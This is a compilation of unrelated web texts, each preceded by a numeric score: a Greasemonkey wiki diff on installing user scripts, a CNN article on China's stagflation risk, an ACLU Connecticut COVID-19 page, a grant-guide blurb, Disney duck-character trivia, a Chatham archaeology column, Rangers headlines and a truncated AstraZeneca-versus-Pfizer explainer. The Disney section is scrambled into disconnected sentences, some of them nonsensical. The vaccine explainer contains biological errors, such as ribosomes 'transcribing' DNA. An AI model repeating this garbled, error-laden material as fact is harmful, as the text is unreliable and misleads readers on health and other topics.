initiatives that foster understanding and dialogue between China, Africa and the western world. © 2021 When China met Africa Contact Press Room Powered by Assemble Tweet ©2018 Speakit Productions Ltd / Zeta Productions . All Rights Reserved. Privacy Policy: We Process Personal Data Only In Strict Compliance With The Data Protection Act 1998 ('The Act') And Associated Legislation. We Use Google Analytics And Tag Manager. By Using Our Websites, You Consent And Agree That We May Retain Your Personal Information, However It Is Supplied By You, And Store And Process It In Accordance With This Policy
0.999996	[[User script]]s allow the ''user'' to control the way they use the web, by customizing it with scripting. [[User script]]s allow the ''user'' to control the way they use the web, by customizing it with scripting. The [https://addons.mozilla.org/firefox/addon/748 Greasemonkey extension] won't do any good without any scripts installed. The [https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/ Greasemonkey extension] won't do any good without any scripts installed. The first thing an eager user should do is find and install ''(or write!)'' a useful script. The first thing an eager user should do is find and install ''(or write!)'' a useful script. :* A word on finding [[user script]]s. They may be located anywhere on the internet or even offline. The Greasemonkey community typically uses the general purpose user script repository site created for it at [http://userscripts.org/ http://userscripts.org]. :* A word on finding [[user script]]s. They may be located anywhere on the internet but you should look first at [[User_Script_Hosting\|common hosts]]. Installation of a script is most often done by clicking a link on a web page. One may also drag-and-drop a local file into the browser window, or optionally use the menu bar [http://support.mozilla.com/en-US/kb/Menu+Reference#Open_File_ File → Open File...] dialog to open it. Installation of a script is most often done by clicking a link on a web page. <!-- Not in 4.0 One may also drag-and-drop a local file into the browser window, or optionally use the menu bar [http://support.mozilla.com/en-US/kb/Menu+Reference#Open_File_ File → Open File...] dialog to open it. --> :* Any file that ends in '''<code>.user.js</code>''' is a valid Greasemonkey user script. :* Any file that ends in '''<code>.user.js</code>''' is a user script. When the URL of a link is clicked or otherwise navigated to ends with <code>.user.js</code>, [[Greasemonkey]] will intercept the loading file by presenting the installation dialog. When navigating to a URL which ends with <code>.user.js</code>, [[Greasemonkey]] will trigger the installation dialog. Note that [[Greasemonkey]] must be [[Troubleshooting_(Users)#Greasemonkey Enabled Status\|enabled]] to do so. == The Installation Dialog == == The Installation Dialog == [[Image:Install-dialog.png\|left\|thumb\|150px\|GM Installation Dialog]] When navigating to a [[user script]], Greasemonkey will open its installation dialog instead of loading the script like a normal page. When navigating to a [[user script]], Greasemonkey will open its installation dialog instead of loading the script like a normal page. A thumbnail of this dialog is shown to the left. A thumbnail of this dialog is shown to the left. It displays the name and description of the script, if available, as well as the [[include and exclude rules]] that apply. It displays the name and description of the script as well as the [[include and exclude rules]] and special [[API]]s that apply. <!-- Not in 4.0! [[Image:Install-dialog.png\|left\|thumb\|150px\|GM Installation Dialog]] ''Note:'' Greasemonkey must be [[Troubleshooting (Users)#Greasemonkey Enabled Status\|enabled]] to install scripts. --> ;* The Install button ;* The Install button Line 32: Line 39: This button will cancel the installation of a script. This button will cancel the installation of a script. <!-- Not in 4.0 ;* The View Script Source button ;* The View Script Source button This button will allow viewing of the source code contained in the script. This button will allow viewing of the source code contained in the script. At this point, [[Greasemonkey]] has already downloaded the [[user script]] in question to display the name and other details. At this point, [[Greasemonkey]] has already downloaded the [[user script]] in question to display the name and other details. When a user shows the script source, it displays the temporary file that Greasemonkey has already downloaded depicted in this [[:media:View-source.png\|screenshot]]. This is intentionally engineered to avoid a potential security problem. An evil server could deliver one innocent script for viewing, and on the second load an evil script for installing. When a user shows the script source, it displays the temporary file that Greasemonkey has already downloaded depicted in this [[:media:View-source.png\|screenshot]]. This approach ensures that the script is downloaded only once. Upon examination of the visible script source, ''this copy'' is the script that will be installed. In this window there is an information bar at the top similar to the Firefox extension installation security warning. Clicking the install button here will also install the script. Finally, in this window there is an information bar at the top similar to the Firefox extension installation security warning. This bar includes another Install button much like the the prior dialog. Clicking this button will also install the script. Using the [[Greasemonkey_Manual:Manage_Dialog\|Manage Dialog]] is the next step. --> Now with some scripts installed, we can open the [[Greasemonkey Manual:Monkey Menu\|Monkey Menu]] to list and manage them. Latest revision as of 14:06, 3 November 2017 Greasemonkey Manual Using Greasemonkey Installing Scripts Monkey Menu Getting Help User Script Authoring Editing Environment API About User Scripts The purpose of Greasemonkey is to manage user scripts. User scripts allow the user to control the way they use the web, by customizing it with scripting. The Greasemonkey extension won't do any good without any scripts installed. The first thing an eager user should do is find and install (or write!) a useful script. A word on finding user scripts. They may be located anywhere on the internet but you should look first at common hosts. Installation of a script is most often done by clicking a link on a web page. Any file that ends in .user.js is a user script. When navigating to a URL which ends with .user.js, Greasemonkey will trigger the installation dialog. Note that Greasemonkey must be enabled to do so. The Installation Dialog GM Installation Dialog When navigating to a user script, Greasemonkey will open its installation dialog instead of loading the script like a normal page. A thumbnail of this dialog is shown to the left. It displays the name and description of the script as well as the include and exclude rules and special APIs that apply. The Install button This button will, of course, install the script in question. Like the Firefox extension installation dialog, this button is disabled for a few seconds to avoid the same potential security vulnerability. The Cancel button This button will cancel the installation of a script. Now with some scripts installed, we can open the Monkey Menu to list and manage them. Retrieved from "https://wiki.greasespot.net/index.php?title=Greasemonkey_Manual:Installing_Scripts&oldid=7560"
0.999997	Hong Kong (CNN Business)A Chinese central official has warned that stagflation could weigh on an already struggling economy next year. It’s the latest sign that the government may be thinking about taking some aggressive steps to address slowing growth, including its first lending rate cut since early 2020. Liu Shijin, a member of the People’s Bank of China’s monetary policy committee, told an online forum on Sunday that the world’s second largest economy may have to deal with “quasi-stagflation” the rest of this year and into 2022, if demand continues to struggle and the cost of goods leaving Chinese factories stays high.”We need to pay attention to it, because if this happens, it will not only affect the fourth quarter, but also affect next year,” Liu said. Stagflation — when inflation is high but economic growth slows — can be problematic since policies that are intended to curb inflation, such as higher interest rates, risk suppressing growth even further. Policies intended to boost growth, meanwhile, risk causing prices to keep rising. Even with his warning, Liu still expects the economy to hit China’s growth target of more than 6% for the year.Read MoreChina's economy is getting walloped by crises in energy, shipping and real estateRisks to the Chinese economy have been piling up in recent months. Along with surging producer price inflation in the world’s factory, the country is also grappling with a severe energy crunch and a big slowdown in real estate. Chinese Premier Li Keqiang recently acknowledged those concerns, saying at a seminar in Beijing last week that the economy was facing “new downward pressures.” He called out recent Covid-19 outbreaks, severe flooding, rising commodity prices and energy shortages as key concerns. Li also said that policymakers should focus on helping “market players,” including manufacturing companies and small businesses, by offering tax cuts or administrative fee reductions.”The concern for growth slowdown is clearly rising among technocrats at different government agencies,” wrote Larry Hu, head of China economics at Macquarie Group, in a Sunday report. China's 'unprecedented' crackdown stunned private enterprise. One year on, it may have to cut business some slackAnalysts also suspect that China’s policymakers may consider cutting interest rates or taking other steps to ease monetary policy. A quarterly report released Friday by the central bank omitted phrases that have appeared previously to signal tighter policies. The removal of those phrases suggests a shift on the horizon, according to analysts at Goldman Sachs, Nomura, and Citi.”In our view, these deletions represent an official change to the PBoC’s policy stance and sets the stage for more decisive monetary and credit easing,” Nomura analysts wrote in a Sunday report. Those changes aren’t happening just yet. On Monday, the central bank kept the Loan Prime Rate — a benchmark rate which banks charge corporate clients for new loans — unchanged for November, the 19th month in a row.But analysts from Capital Economics think it won’t be long before the central bank starts to cut policy rates. “As economic strains continue to grow, there will be more pressure to relieve the financing strains of indebted borrowers,” wrote Julian Evans-Pritchard, senior China economist for the firm, in a Monday report. He added that Capital Economists thinks the central bank will start lowering rates before the end of 2021, “followed by more reductions in 2022.”Others expect the central bank to explore other options. Rather than changing interest rates, Goldman Sachs analysts said they expected more targeted support for green development and small or medium-sized companies. Source: edition.cnn.com 0 20 Share Top-Bit 9107 posts 4 comments Prev Post El Salvador plans first ‘Bitcoin City’, backed by bitcoin bonds Next Post Ericsson to buy Vonage for $6.2 billion You might also like More from author Business How one local reporter’s instincts focused attention on the… Business Cryptocurrency exchange Coinstore enters India despite pending… Business Craft beer might get even more expensive Business Walmart and Target will rake in cash this Christmas. Small… Prev Next Leave A Reply Cancel Reply Your email address will not be published. Save my name, email, and website in this browser for the next time I comment. Please enter an answer in digits: 12 + twenty = Most Popular How one local reporter’s instincts focused attention on the Ahmaud Arbery case Cryptocurrency exchange Coinstore enters India despite pending curbs on trade Craft beer might get even more expensive Walmart and Target will rake in cash this Christmas. Small businesses may not be so lucky Black Friday bounces back from 2020. Shoppers are out again Procter & Gamble recalls some Old Spice and Secret deodorants after cancer-causing chemical is detected
0.970013	We have been watching closely alongside the rest of Connecticut as the COVID-19 pandemic has touched every aspect of daily life. While the news is changing by the hour, we are committed to doing everything we can to safeguard the health, safety, and rights of all people in Connecticut, and to ensuring the State of Connecticut’s response protects vulnerable and marginalized people. We firmly believe any response to this pandemic must be grounded in science and public health. The ACLU of Connecticut will be watching closely to ensure the State of Connecticut’s response is scientifically justified and no more intrusive on civil liberties than absolutely necessary. Here you will find information about the ACLU of Connecticut's’s response to COVID-19, including recommendations and letters to public officials, statements, joint letters with other organizations, and blog updates — as well as other resources. Above all, the ACLU of Connecticut believes: Any coronavirus response should be grounded in science and public health, and not be politicized Any response plan must protect the health, safety, and civil liberties of all State leaders should encourage voluntary compliance with self-isolation measures as much as possible State leaders must pay particular attention to the most marginalized and vulnerable people in our society Join us by taking action. Tell Governor Lamont to act now to protect incarcerated people from COVID-19. Stay informed Email address * Zip code * Leave this field blank Donate Statements Q.Statements A. March 11, 2020 - ACLU of Connecticut Comment on State of Connecticut Response to COVID-19 March 12, 2020 - ACLU of Connecticut Urges State Officials to Use Existing Powers to Release People Awaiting Trial, Certain Other Incarcerated People During COVID-19 Pandemic March 24, 2020 - ACLU of Connecticut Reaction to First Positive COVID-19 Test of a Connecticut Department of Correction Worker March 27, 2020 - ACLU of Connecticut Sends Emergency Request to Connecticut Judicial Branch Seeking Temporary Rules Change to Reduce Pre-Trial Detention During COVID-19 Pandemic March 30, 2020 - ACLU of Connecticut Reaction to First Positive COVID-19 Test of an Adult Incarcerated in Connecticut April 3, 2020 - ACLU of Connecticut Files Emergency Lawsuit to Force Governor, Commissioner of Corrections to Protect Incarcerated People from COVID-19 April 13, 2020 - ACLU of Connecticut Reacts to First Death from COVID-19 of a Person Incarcerated by the State of Connecticut April 15, 2020 - ACLU of Connecticut Statement Regarding Today's Hearing in CCDLA et al v Lamont et al April 21, 2020 - ACLU of Connecticut Files Emergency Lawsuit to Force Governor, Commissioner of Correction to Protect Incarcerated People from COVID-19 April 21, 2020 - ACLU of Connecticut Statement Regarding Westport Drone COVID-19 Pilot Program April 25, 2020 - ACLU of Connecticut Statement Regarding State Court Dismissal of Connecticut Criminal Defense Lawyers et al v Lamont et al May 6, 2020 - Federal Court Allows Class Action Lawsuit (McPherson et al v Lamont et al) Seeking to Protect Incarcerated People from COVID-19 to proceed May 20, 2020 - Reaction to Governor Lamont Executive Order Extending Absentee Vote-by-Mail for August Primary Election June 7, 2020 - Statement Regarding Settlement Reached in Federal Lawsuit Seeking to Protect Incarcerated People from COVID-19 July 2, 2020 - Groups File Federal Lawsuit Seeking to Expand Connecticut Absentee Voting in 2020 Elections Due to COVID-19 July 29, 2020 - Reaction to the Connecticut General Assembly's Passage of Pandemic Absentee Voting Bill September 16, 2020 - Reaction to Department of Correction's Transfer of COVID Unit from Northern Correctional Institution to MacDougall Correctional October 28, 2020 - Department of Correction in Violation of COVID-19 Lawsuit Settlement December 2, 2020 - Connecticut Vaccine Rollout Must Include Incarcerated People March 25, 2021 - Statement Reacting to "Vaccine Passports" Comments by Governor Ned Lamont Letters & Recommendations to Government Officials Q.Letters & Recommendations to Government Officials A. March 10, 2020 - ACLU of Connecticut Letter to Governor Lamont Regarding COVID-19 Response March 12, 2020 - ACLU of Connecticut Letter to Governor Lamont, Department of Correction, Board of Pardons and Paroles, Department of Emergency Services and Public Protection, Division of Criminal Justice, Other Officials Regarding Release of Incarcerated People, Court Operations, and Limiting Arrests During COVID-19 Outbreak March 26, 2020 - ACLU of Connecticut Letter to Judicial Branch Rules Commitee Seeking Emergency Alteration of Pre-Trial Rules During COVID-19 Pandemic July 21, 2020 - ACLU of Connecticut Testimony to the Connecticut General Assembly General Administration and Elections Committee regarding LCO No. 3576, An Act Concerning Absentee Voting at the 2020 State Election and Election Day Registration October 21, 2020 - ACLU of Connecticut Letter to Connecticut Registrars of Voters and Municipal and State Police regarding Voter Intimidation at the Polls December 2, 2020 - ACLU of Connecticut Letter to Governor Lamont, Regarding Need for Connecticut Vaccine Rollout to Include Incarcerated People Joint Letters Q.Joint Letters A. March 16, 2020 - Open Letter From Connecticut Organizations and Individuals Regarding Protecting People in Connecticut Prisons and Jails from Coronavirus-19 Pandemic March 19, 2020 - Open Letter from Connecticut Organizations Regarding COVID-19 and Young People who are Incarcerated or in Detention March 19, 2020 - Open Letter from 43 Connecticut Organizations Regarding Protecting Civil & Human Rights During COVID-19 Public Health Crisis April 9, 2020 - Open Letter Update from 50+ Connecticut Organizations Regarding Protecting Civil & Human Rights During COVID-19 Public Health Crisis April 17, 2020 - Immigrants Are Essential Letter from 60+ Organizations and Elected Officials Regarding Support for Undocumented Workers During COVID-19 Public Health Crisis April 19, 2020 - Joint NY-NJ-CT ACLU Affiliate Letter Regarding Protection of the Health and Safety of People Detained by ICE in Northeast Region April 23, 2020 - Keep The Promise Sign on letter in support of Civil Rights of Patients in State Psychiatric Facilities April 30, 2020 - Open Letter Update from 50+ Connecticut Organizations Regarding CT Vote By Mail May 1, 2020 - Sign-on letter to Yale New Haven Health System Leadership Concerning Impact of COVID-19 on Immigrants, Especially Those who may be Undocumented May 14, 2020 - Sign-on letter to Governor Lamont Regarding Cancelling Evictions and Rent Videos & Additional Resources Q.Videos & Additional Resources A. March 20, 2020 - Smart Justice leader Alex Brown to Gov. Lamont & Members of the Connecticut General Assembly March 23, 2020 - Smart Justice leader Brian Sullivan to Gov. Lamont & Members of the Connecticut General Assembly March 23, 2020 - Smart Justice leader Ciara Rosati to Gov. Lamont & Members of the Connecticut General Assembly March 24, 2020 - Smart Justice leader Donald Rivers to Gov. Lamont & Members of the Connecticut General Assembly March 24, 2020 - Smart Justice leader Shelby Henderson to Gov. Lamont & Members of the Connecticut General Assembly March 25, 2020 - Smart Justice leader Sean Sellars to Gov. Lamont & Members of the Connecticut General Assembly March 27, 2020 - Virtual Briefing with Medical, Rights Leaders Regarding COVID-19 in Connecticut Prisons & Jails April 13, 2020 - Connecticut Agencies Have a Lot of Independent Authority to Protect Public Health by Releasing Incarcerated People. So Far, these Agencies Have Refused to Act. April 21, 2020 - If Connecticut Prisons and Jails Were a Town, They'd Have the Highest Infection Rate in the State May 11, 2020 - What's Actually Happening With Connecticut's Discretionary Releases From Prisons and Jails? May 13, 2020 - Protecting Public Health and the Right to Vote Means Expanding Vote-by-Mail May 21, 2020 - Lamont's "Re"Opening Runs the Risk of Widening Inequities in Our State August 27, 2020 - We Need Your Help to Hold the DOC Accountable September 1, 2020 - Removing Collateral Consequences of a Criminal Record is Now More Important than Ever Monthly, from August through December 2020 - McPherson v Lamont Settlement Documents: DOC Testing and Release Reports Lawsuits Q.Lawsuits A. April 3, 2020 - ACLU of Connecticut Emergency Lawsuit to Force Governor, Commissioner of Correction to Protect Incarcerated People from COVID-19 (Connecticut Criminal Defense Lawyers Association et al v Lamont et al) April 20, 2020 - ACLU of Connecticut Federal Emergency Lawsuit to Force Governor, Commissioner of Correction to Protect Incarcerated People from COVID-19 (McPherson et al v Lamont et al) July 2, 2020 -- ACLU of Connecticut Federal Lawsuit Seking to Make Absentee Mail-in Voting Available to Every Eligible Voter During the COVID-19 Pandemic (Connecticut NAACP v Merrill)
0.990547	Contrary to popular myth, winning grants is not easy. It is typically a highly competitive process, requiring many hours of hard work, research, planning, budgeting, brainstorming, writing, rewriting, editing, and proofreading. In all, the process of successfully completing a government grants procedure is an exhaustive one & needs expert guidance. Think of applying for a grant as competing in a marathon. The strategies, education, training, motivation, and dedication you need to win a grant are similar to those you would use to compete in a marathon. There are no guarantees for success. However, if you are willing to use the tools and skills, and commit to your goals, you can gain a competitive edge in the grant-seeking process. Grants are available for individuals, small business owners, non-profit organizations, agencies, and others. They are available for projects and programs in a wide range of categories and topics, some of which may indeed surprise you. These include: Arts, music, and writing Community development and improvement Disaster prevention and relief Education Employment, labor, and job training Energy and alternative energy Energy conservation Environmental quality and natural resources Food and nutrition Health care services and medicine Housing, including first-time homebuyers Law, justice, and legal services Science and technology Small business start-up and expansion Social services Transportation Women, minorities, veterans, and disabled There are thousands of grantors, including federal, state, and local governments; foundations; non-profit community organizations; and corporations. Billions of dollars in grant funds are available for those who know how to find them and who prepare well-written grant proposals in a fast-changing and competitive industry. Your road map to creating your own success story starts with learning the facts about grants. All American Grant Guide is your guide to mastering the complex and changing world of grants. It is written to make your grant-seeking effort less frustrating and stressful, and increase your chances of receiving the grant funding you seek without creating a false sense of security that winning grants is as easy as some promotional hype can lead you to believe. I hope you find it to be a time-saving and useful self-help reference tool that increases your ability to obtain a grant. Applying for and obtaining grant funds can be challenging and time-consuming. Despite the challenges, it is worth the effort to hear those words, “YES, your proposal has been approved.”
0.997681	He apparently had travelled all the way from the East to the West coast making his living by trading furs from the animals he killed. [41] He made his only major animated appearance in the Walt Disney's Wonderful World of Color episode "Pacifically Peeking" (October 6, 1968),[41] and had a cameo appearance in the episode "House of Crime" of the House of Mouse TV series. He later returns in "Moonvasion" to help protect the Earth from the invading Moonlanders. I never got so cozy with whales before as to look into their big tender pink eyes!". He was to create the definitive version of Scrooge's biography and a family tree accompanying it. Dimwitty Duck (originally just called Dim-Witty) is a duck who was introduced in the comic story "The Vanishing Banister",[37] where he appears as an assistant of Donald Duck, who in turn appears working as a private detective. But this same story also shows Moby developing affection for whales when he comes face to face with one of them for the first time and hesitates to use the harpoon of his whaler on that one, exclaiming "I-I can't! Moby Duck, whose name is a spoof of the novel Moby-Dick, was created by writer Vic Lockman and illustrator Tony Strobl in the comic-book story "A Whale of an Adventure" in Donald Duck #112 (March 1967). The most common daphne duck material is cotton. The Duck's version of California only includes the historical Southern California). In Don Rosa's Duck Family Tree he is featured as a grandson of Cornelius Coot, a son of Clinton Coot and Gertrude Gadwall. Daisy Duck has a brief appearance in the beginning of this one. Lulubelle Duck (née Loon) is the wife of Eider Duck. There are a couple of stories featuring Moby where Donald and Dimwitty appeared together working for Moby as his crew. In the story "The Good Old Daze" by Tony Strobl,[7] Grandpa Duck (an older Humperdink) appears in flashback taking care of little Donald along with Grandma. Barks never intended to publish this family tree, as he had created it for his personal use. Eider Duck is Donald's uncle. She was born in Scotland and is the youngest sister of Scrooge McDuck. Fanny also had a brother named Cuthbert Coot and she married Luke the Goose, and then became the mother of Gus Goose. Grandma also has a few distant farmer neighbors and the most notable is farmer Si Bumpkin, a tall anthropomorphic chicken, who is easily annoyed when he in some way is affected by disturbances on Grandma's farm, which often caused by her family or friends. Gus Goose has appeared as boyfriend of a classy and rich anthropomorphic swan called Cissy Swann in Danish stories. He found the body of the long-dead Fenton and gave him a proper burial. Whitewater Duck[34] was created by Carl Barks and used by him only in the story "Log Jockey", published in Walt Disney's Comics and Stories #267 in December 1962. Depending on the writer, Grandma Duck has had various given names over the years; in a story by Riley Thomson from 1950 she was named "Elviry"[13] and in a story from 1953 she was given the name "Abigail". 1873 Daphne Duck was the mother of Gladstone Gander. Daphne is later seen at the banquet as she dropped the pudding on the King, and at the end when she dropped the pie on Pom-Pom, while Beatrice makes no further appearances. He first appeared as a statue in Walt Disney's Comics and Stories #138 in the 1952 story "Statuesque Spendthrifts" by Carl Barks. The Spanish cartoonist Antoni Gil-Bao used the duo Moby and Dimwitty in various Danish comic stories. Daphne telling Gladstone to go play with his cousin Donald. With Donald, Fethry is a member of the Tamers of Nonhuman Threats, a special super-secret organization fighting hostile paranormal creatures of all sorts to protect the earth. Donald has often teamed up with Fethry to do all sort of jobs for Scrooge (usually with disastrous results), with Donald being the "straight man" and Fethry the "funny man". Life and Times of Scrooge McDuck characters, https://scrooge-mcduck.fandom.com/wiki/Daphne_Duck?oldid=42426. In some 1970s stories, Dimwitty was shown as a friend of Gus Goose. In her first appearance for example, she is very upset with Donald for not having washed his neck properly.[16]. In his second appearance in "Smarter Than The Toughies" (2004) by Lars Jensen and Daniel Branca, Whitewater is the nephew of Scrooge McDuck's cousin Douglas, making him Donald's second cousin. He remained the chief accountant till 1930 when a fight between Scrooge and his family ended all relationships between them. The project was to become The Life and Times of Scrooge McDuck. Humperdink appeared as "Grandpa Duck" in two comic stories previously mentioned. When Cornelius died in 1880, aged 90, he was a very respected family man but over time he has been honored by the citizens of Duckburg as the "father" of the city. She appeared as one of Daisy Duck's closest friends in some stories. The friend and neighbor Gustav Goose from Quack Pack is probably not the same as Cousin Gus since there are very few similarities (aside from the name and general size of the character). The early Fethry comics were created for the Disney Studio Program for publication outside of the United States. Upsy Duck is Donald's uncle from the 1965 story "Mastering The … In the story "On Disappearing Island",[38] Dimwitty appeared for the first time as Moby's ship hand and from then on he became the most common supporting character in Moby's stories. He was originally supposed to be Gladstone Gander's father,[58][59] Daphne Duck's husband and Gus's uncle, but Carl Barks later changed his mind, making Goostave Gander (who was originally Gladstone's adoptive father after Luke and Daphne "overate at a free-lunch picnic") Gladstone's biological father and Daphne's husband. Pintail served in the Royal Navy as the boatswain aboard HMS Falcon Rover. Cornelius explored the tunnel. They are published in pocketbooks. In 1970s stories drawn by Tony Strobl, Fethry is the owner of an over-friendly dog named Poochie. He is introduced as an unsuccessful gold prospector and friend of Scrooge McDuck during his years in Klondike. In the comic strips by Taliaferro and Karp, it is mentioned that in her youth she was a pioneer in the American migration to the west, riding a covered wagon and participating in many Indian Wars. (informal translation from the following excerpt in German language, "Wozu hab' ich überhaupt eine Harpunierkanone? He was born in Duckburg, and from and early age displayed a very nasty temper. . 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0.992401	In the spring of 1879, the legendary former City of Chatham Waterworks Superintendent and City Engineer E.B. Jones pursued his passion with amateur archaeology in what is now Maple Leaf and St. Anthony cemeteries. Author of the article: Jim and Lisa Gilbert • Special to The Daily News Publishing date: Sep 20, 2019 • September 20, 2019 • 4 minute read • Join the conversation Jim and Lisa Gilbert Ellwood Shreve/The Daily News Article content In the spring of 1879, the legendary former City of Chatham Waterworks superintendent and city engineer E.B. Jones pursued his passion with amateur archaeology in what is now Maple Leaf and St. Anthony cemeteries. Advertisement Story continues below This advertisement has not loaded yet, but your article continues below. Article content On this picturesque site, Jones uncovered the remains of possibly two relatively large and early (1600s) native villages. The Jesuit missionaries who had visited the area in the 1600s had made reference to these sites and had given the European name of “St. Joseph” to them. But very little information about these sites came to light until Jones’ examination of these sites in the 1870s. We apologize, but this video has failed to load. Try refreshing your browser. Gilberts: Amateur archaeologist's Chatham discovery was incredible Back to video According to his amateur archaeological survey, these native towns were built in a semi-circle with entrances fronting an open space of about one-and-a-half acres used as a public playground for sports, contests, feasts, tribal powwows, speaking forums and other gatherings. Jones also found in his excavations many stone balls measuring one-and-a-half inches and two-and-a-half inches in diameter. These balls were so well rounded that they approximated spheres. Exactly what game was played with them was not determined by Jones but he speculated that, if the game was lacrosse, then it explained the number of injuries and deaths reported by natives playing this game with such lethal stone balls. Jones, on the site of today’s city cemeteries, found tally sticks, which were lengths of flat bone incised crosswise with notches. Each one was possibly a count of big game or possible an “enemy killed,” the amateur archaeologist speculated. As has been reported in several accounts, early native people enjoyed, as did Europeans, various games of chance. He found at these local sites examples of counters made of deer-horn about two inches long, a half-inch wide, a quarter inch thick, nearly oval and rounded at the ends. Jones speculated that these items were tossed from a bowl and wagers made on how they fell. Advertisement Story continues below This advertisement has not loaded yet, but your article continues below. Article content Jones’ exploration of these sites known as “St. Joseph” by the Jesuits revealed items that clearly displayed their inherent artistry and craftsmanship. He found well-shaped weapons and implement handles, as well as shards of pottery with indented designs coloured with wood dyes. According to Jones, “women made the clay pots and dishes by first weaving grass baskets as moulds on which the finely worked wet clay was shaped and dried. Cooking pots had a flange around the opening and lugs for lifting it and often a pouring lip. The clay was etched and when dry was painted to emphasize the pattern, which often included the cross.” To support his theories, Jones found, along McGregor Creek, two clay-baking kilns as well as three cooking pits, each of them three-feet square and two-feet deep. In use, these cooking pits were lined with stones and a fire in the pit heated them. The burnt embers were then dragged out and the pit filled with meat, ears of corn in husks, pieces of squash, jars of acorn or shelled corn. This cooking pit was then covered with green leaves and earth and cooked slowly. In the winter months, Jones found evidence the same process was employed inside their lodges and also allowed Jones to uncover a number of interesting and insightful artifacts thrown into these cooking pits. In these cooking pits, Jones found food remnants, broken dishes, clamshell spoons, flint knives, sewing awls, bits of clay pots, and clay pipes of interesting and intriguing designs. Advertisement Story continues below This advertisement has not loaded yet, but your article continues below. Article content In the spring of 1878, Jones received permission to open a mound that he found about 1,000 feet from the Attiwandaron town nearest to the then-town of Chatham. At that time, the mound was about four feet in height and was enclosed by a picket fence. Although Jones hoped to find important relics within this mound, he instead found the remains of about 70 full skeletons. Some skulls had holes in them as if made by a blunt instrument. One skull, Jones reported “had a hole above the ear and inside it were the bones of several fingers.” He speculated the victim “saw a hatchet or skull-crusher aimed at his head and instinctively raised a hand to ward it away but it was too late as the murderous blow was fatal. He lay as he fell with hand and arm stiffened in that position and was buried that side uppermost.” As I have stated before, Jones did these very amateur excavations and examinations in the late 1870s and, of course, many of his conclusions may very be open for different interpretations in the modern world. But the fact that he found these sites and took the time and effort to carefully excavate and record what he found was extremely positive and of great value to future generations attempting to uncover more information about these early local settlements. And speaking of Maple Leaf Cemetery, make sure you get your tickets for the upcoming annual Cemetery Strolls 2019 which are scheduled for two weeks in October. Phone Sheila Gibbs at 519-351-2958 for tickets and more information. The Gilberts are award-winning historians with a passion for telling the stories of C-K’s fascinating past. Share this article in your social network Share this Story: Gilberts: Amateur archaeologist's Chatham discovery was incredible Copy Link Email Facebook Twitter Reddit Pinterest LinkedIn Tumblr Latest National Stories Advertisement Story continues below This advertisement has not loaded yet, but your article continues below. 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Rangers fans in Europa League travel sweat as club seek Lyon ticket clarity amid rising Covid cases Rangers FCIt was expected the Ibrox club would get 3000 tickets for the clash in France but there has been a lack of information from the Ligue 1 side. Sparta Prague fans told Rangers trip requires best behaviour as club publish 'Glasgow handbook' Sparta PragueThe fixture could be something of a powderkeg after several previous incidents involving Prague teams. Gio van Bronckhorst warns Rangers stars lacking hunger they face a 'tough manager' after Ibrox arrival Gio van BronckhorstThe Dutchman was officially unveiled at Ibrox and responded to Connor Goldson's claim that the players have lost a bit of hunger from last season. Gio van Bronckhorst RECAP as Rangers manager sets out his Ibrox vision Gio van BronckhorstIt's the dawn of a new era at Ibrox under the former Light Blues hero as the Dutchman is officially unveiled at his old stomping ground. Gio van Bronckhorst's first words as Rangers manager as he makes dream Ibrox return Gio van BronckhorstThe Dutchman will be looking to add to the five trophies he brought to Govan during his playing days. Tuesday evening's headlines: Tributes to Scots mum who had 'beautiful soul', and Ibrox latest In The News The Daily Record's evening briefing keeps you up to date with all the top stories. Rangers set the stage with Blue Room makeover in time for big manager reveal Rangers FCThe only Monday announcement fans were treated to was the caretaker management team but is another on the way? Giovanni van Bronckhorst and Rangers 'positive talks' conclude as managerial favourite leaves London Gio van BronckhorstA report has claimed the ex-Ibrox midfielder's representatives were happy with how a Saturday sitdown with his old club unfolded, two days after Steven Gerrard's departure. Steven Gerrard purged by Rangers as James Tavernier replaces departed manager on Ibrox billboard in lightning turnaround Steven GerrardRangers have wasted no time in erasing signs pointing to their now former boss. Glasgow M8 crash 'involving several vehicles' near Ibrox as emergency services called to the scene M8Emergency services were called to the incident on the westbound carriageway between Junction 24 and 25 at around 5.30pm on Sunday, November 7. Ross County react to Rangers fan ban as red zone request sparks 'frustrating' Ibrox snub Ross County FC900 fans were set to travel south in the hope of watching Malky Mackay's side upset the league leaders. Rangers fans deserve better at Celtic Park and it's on the Hoops to end this childish ticket war – Hotline Scottish PremiershipThe Hotline callers just hope a peace deal can be struck before hostilities resume on the pitch finds Andy Newport. Rangers could ask for SPFL help in Celtic fan row as red zone ruling opens door for Parkhead lockout challenge Scottish PremiershipNo away fans will be allowed in for the second derby clash of the season but the Ibrox club are ready to fight. Rangers fans locked out for Celtic clash as no away supporters to be present for second derby showdown Celtic ParkThe move comes after only home fans were permitted at Ibrox for the first meeting of the campaign. James Tavernier sounds Rangers title alarm as captain gives 'just not good enough' verdict James TavernierThe skipper rescued a late point against Aberdeen but knows his side must be better at home to hold off Celtic. 3 talking points as ragged Rangers held by Aberdeen on emotionally charged night at Ibrox Rangers FCThe champions needed a late James Tavernier penalty as they came from two goals down to salvage a point. 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0.999993	The key difference between AstraZeneca and Pfizer is that AstraZeneca is a DNA vaccine used against COVID 19 disease, while Pfizer is an mRNA vaccine used against COVID19 disease. COVID19 is a serious infectious disease that is caused by a new coronavirus. People who suffer from this virus experience mild to moderate respiratory illness and recover without any special treatment. Older people and those who suffer from underlying medical conditions like cardiovascular disease, diabetes, chronic respiratory disease, and cancer are more likely to develop serious illnesses. The mass vaccination process for COVID 19 disease started in 2020. Currently, four vaccines are authorized and recommended by the WHO: AstraZeneca, Pfizer, Moderna, and Janssen (J&J). CONTENTS 1. Overview and Key Difference 2. What is AstraZeneca 3. What is Pfizer 4. Similarities Between AstraZeneca and Pfizer 5. Side by Side Comparison – AstraZeneca vs Pfizer in Tabular Form 6. Summary What is AstraZeneca? AstraZeneca is a DNA vaccine used against COVID 19 disease. AstraZeneca company collaborated with Oxford University to make this vaccine in 2020. It shows 90% efficacy against COVID 19 disease. Through this vaccine, the genetic instructions are given to the cell to make the spike protein of the COVID19 virus, which stimulates the immune response in humans. In this vaccine, DNA is actually used as the genetic instruction to trigger the cell to make the spike protein. AstraZeneca vaccine uses a different approach to introduce its genetic instruction into the cell. Therefore, this vaccine uses adenovirus, which normally infects chimpanzee as a vector to deliver DNA into the cell. Figure 01: AstraZeneca The genetic instructions are inserted into the adenovirus vector for making the SARS COV2 spike protein. The adenovirus infects the human cell and delivers the DNA into the cytoplasm of the human cell. The cell recognizes the DNA material and places it in the nucleus. The ribosomes transcribe the 